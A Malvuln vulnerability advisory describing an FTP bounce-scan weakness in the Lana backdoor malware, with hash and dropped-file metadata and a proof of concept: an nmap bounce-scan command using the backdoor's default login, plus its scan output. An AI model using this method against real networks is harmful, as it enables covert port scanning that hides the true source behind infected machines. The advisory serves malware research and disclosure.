Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.FTP.Lana.01.d  
Vulnerability: Port Bounce Scan  
Description: The malware listens on TCP port 9003. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Family: Lana  
Type: PE32  
MD5: ea9ab5983a6fa71e31907e74d4ddbab6  
Vuln ID: MVID-2022-0540  
Dropped files: sersvc32.exe   
Disclosure: 04/06/2022  
C:\>nmap -n -Pn -b admin:secret@ -p21,22,80 -v  
Starting Nmap 7.80 ( ) at 2022-04-04 14:30 UTC-11  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://admin:secret@  
Connected:220 Silver FTP v1.1  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 14:30  
Discovered open port 80/tcp on  
Completed Bounce Scan at 14:30, 2.12s elapsed (3 total ports)  
Nmap scan report for  
Host is up.  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds  
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